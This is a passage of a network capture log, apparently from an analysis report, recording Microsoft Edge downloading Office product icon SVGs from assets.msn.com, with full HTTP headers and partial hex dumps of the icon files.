{"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906159.18018dc5 Vary: Origin
2024-04-23 21:02:39 UTC	1067	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 23 32 31 61 33 36 36 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 31 30 37 63 34 31 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 33 33 63 34 38 31 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 31 38 35 63 33 37 3b 7d 2e 63 6c 73 2d 36 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 45 78 63 65 6c 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#21a366;}.cls-2{fill:none;}.cls-3{fill:#107c41;}.cls-4{fill:#33c481;}.cls-5{fill:#185c37;}.cls-6{opacity:0.5;}.cls-7{fill:#fff;}</style></defs><title>Excel_24x</title><g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49978	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:39 UTC	492	OUT	GET /staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:39 UTC	1129	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: SP8yW5aTn/65Kre6TcI30Q== Last-Modified: Tue, 23 Apr 2024 10:16:31 GMT ETag: 0x8DC637E72502F69 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 93924655-001e-010b-7f70-951075000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:39 GMT Content-Length: 685 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402755255,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18018eb7 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906159.18018eb7 Vary: Origin
2024-04-23 21:02:39 UTC	685	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 30 33 36 34 62 38 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 30 30 37 38 64 34 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 31 34 39 30 64 66 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 32 38 61 38 65 61 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 4f 6e 65 44 72 69 76 65 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 69 64 3d 22 4f 6e 65 44 72 69 76 65 22 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 22 20 77 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#0364b8;}.cls-3{fill:#0078d4;}.cls-4{fill:#1490df;}.cls-5{fill:#28a8ea;}</style></defs><title>OneDrive_24x</title><g id="OneDrive"><rect class="cls-1" w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49980	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:40 UTC	491	OUT	GET /staticsb/statics/latest/icons/office-icons/OneNote_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:40 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: hHCeJJKYT/HxDAweTNPa5g== Last-Modified: Mon, 22 Apr 2024 19:06:41 GMT ETag: 0x8DC62FF57DE2637 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f2d91d03-201e-00b5-600b-959bf0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:40 GMT Content-Length: 1009 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402755508,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18018fb4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906160.18018fb4 Vary: Origin
2024-04-23 21:02:40 UTC	1009	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 63 61 36 34 65 61 3b 7d 2e 63 6c 73 2d 33 7b 6f 70 61 63 69 74 79 3a 30 2e 37 35 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 37 37 31 39 61 61 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 23 61 65 34 62 64 35 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 39 33 33 32 62 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 4f 6e 65 4e 6f 74 65 5f 32 34 78 3c 2f 74 69 74 6c 65 3e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#ca64ea;}.cls-3{opacity:0.75;}.cls-4{fill:#7719aa;}.cls-5{fill:#fff;}.cls-6{fill:#ae4bd5;}.cls-7{fill:#9332bf;}</style></defs><title>OneNote_24x</title>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49983	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:40 UTC	491	OUT	GET /staticsb/statics/latest/icons/office-icons/Outlook_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:40 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: WWkrqOHzRBlEJpUpFsFolg== Last-Modified: Tue, 23 Apr 2024 10:16:05 GMT ETag: 0x8DC637E630B4965 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9c9b0d71-d01e-00ca-5ea7-95e0ef000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:40 GMT Content-Length: 2493 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402755788,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180190cc Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906160.180190cc Vary: Origin
2024-04-23 21:02:40 UTC	2493	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 30 33 36 34 62 38 3b 7d 2e 63 6c 73 2d 33 2c 2e 63 6c 73 2d 38 7b 66 69 6c 6c 3a 23 30 61 32 37 36 37 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 32 38 61 38 65 61 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 33 35 62 38 66 31 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 23 35 30 64 39 66 66 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 30 30 37 38 64 34 3b 7d 2e 63 6c 73 2d 31 31 2c 2e 63 6c 73 2d 38 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#0364b8;}.cls-3,.cls-8{fill:#0a2767;}.cls-4{fill:#28a8ea;}.cls-5{fill:#35b8f1;}.cls-6{fill:#50d9ff;}.cls-7{fill:#0078d4;}.cls-11,.cls-8{opacity:0.5;}.cl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49985	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:41 UTC	497	OUT	GET /staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:41 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DyBkGZd3TbGkoO512f9HqA== Last-Modified: Mon, 22 Apr 2024 19:06:37 GMT ETag: 0x8DC62FF55C8E96D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: fba120ee-301e-0004-7051-95c6b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:41 GMT Content-Length: 2542 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402756013,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180191ad Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906161.180191ad Vary: Origin
2024-04-23 21:02:41 UTC	2542	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 29 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 30 22 20 6d 61 73 6b 2d 74 79 70 65 3d 22 61 6c 70 68 61 22 20 6d 61 73 6b 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 3d 22 2d 31 22 20 79 3d 22 32 22 20 77 69 64 74 68 3d 22 32 35 22 20 68 65 69 67 68 74 3d 22 32 30 22 3e 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 31 35 2e 33 30 32 39 20 32 2e 35 43 31 35 2e 35 38 37 34 Data Ascii: <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0)"><mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="-1" y="2" width="25" height="20"><path d="M15.3029 2.5C15.5874

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49987	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:41 UTC	491	OUT	GET /staticsb/statics/latest/icons/office-icons/PowerBI_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:41 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: QpOlYlUrrcx+IuNYIvqCSw== Last-Modified: Mon, 22 Apr 2024 19:06:48 GMT ETag: 0x8DC62FF5C9305E4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0bda7fdb-301e-00d4-0850-95f2d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:41 GMT Content-Length: 2347 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402756247,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019297 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906161.18019297 Vary: Origin
2024-04-23 21:02:41 UTC	2347	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 30 22 20 6d 61 73 6b 2d 74 79 70 65 3d 22 61 6c 70 68 61 22 20 6d 61 73 6b 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 3d 22 33 22 20 79 3d 22 30 22 20 77 69 64 74 68 3d 22 31 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 3e 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 31 33 20 31 43 31 33 20 30 2e 34 34 37 37 31 35 20 31 33 2e 34 34 37 37 20 30 20 31 34 20 30 48 32 30 43 32 30 2e 35 35 32 33 20 30 20 32 31 20 30 Data Ascii: <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="3" y="0" width="18" height="24"><path d="M13 1C13 0.447715 13.4477 0 14 0H20C20.5523 0 21 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49989	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:41 UTC	494	OUT	GET /staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:42 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: Uyauq64haN6xbm2oJZeNTw== Last-Modified: Tue, 23 Apr 2024 19:33:13 GMT ETag: 0x8DC63CC37B3DD05 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 83764af1-f01e-00d8-5abd-9506c9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:42 GMT Content-Length: 1126 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402756511,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801939f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906162.1801939f Vary: Origin
2024-04-23 21:02:42 UTC	1126	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 65 64 36 63 34 37 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 66 66 38 66 36 62 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 64 33 35 32 33 30 3b 7d 2e 63 6c 73 2d 35 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 36 7b 6f 70 61 63 69 74 79 3a 30 2e 31 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 63 34 33 65 31 63 3b 7d 2e 63 6c 73 2d 38 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#ed6c47;}.cls-3{fill:#ff8f6b;}.cls-4{fill:#d35230;}.cls-5{opacity:0.5;}.cls-6{opacity:0.1;}.cls-7{fill:#c43e1c;}.cls-8{fill:#fff;}</style></defs><title>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49991	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:42 UTC	494	OUT	GET /staticsb/statics/latest/icons/office-icons/SharePoint_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:42 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: /yLuXBMNPXBWKxWDOgDE/w== Last-Modified: Tue, 23 Apr 2024 10:16:33 GMT ETag: 0x8DC637E7351D760 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4d533f66-601e-008d-38a6-95e2f0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:42 GMT Content-Length: 1543 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402756747,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801948b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906162.1801948b Vary: Origin
2024-04-23 21:02:42 UTC	1543	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 30 33 36 63 37 30 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 31 61 39 62 61 31 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 33 37 63 36 64 30 3b 7d 2e 63 6c 73 2d 35 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 23 30 33 38 33 38 37 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 53 68 61 72 65 70 6f 69 6e 74 5f 32 34 78 3c 2f 74 69 74 6c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#036c70;}.cls-3{fill:#1a9ba1;}.cls-4{fill:#37c6d0;}.cls-5{opacity:0.5;}.cls-6{fill:#038387;}.cls-7{fill:#fff;}</style></defs><title>Sharepoint_24x</titl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49993	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:42 UTC	489	OUT	GET /staticsb/statics/latest/icons/office-icons/Skype_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:43 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: TYBcB4L10PH75Io+eKalxg== Last-Modified: Tue, 23 Apr 2024 10:16:18 GMT ETag: 0x8DC637E6A76E49E Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4daaa571-601e-00b1-7081-9537f8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:42 GMT Content-Length: 1548 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402757047,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180195b7 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * 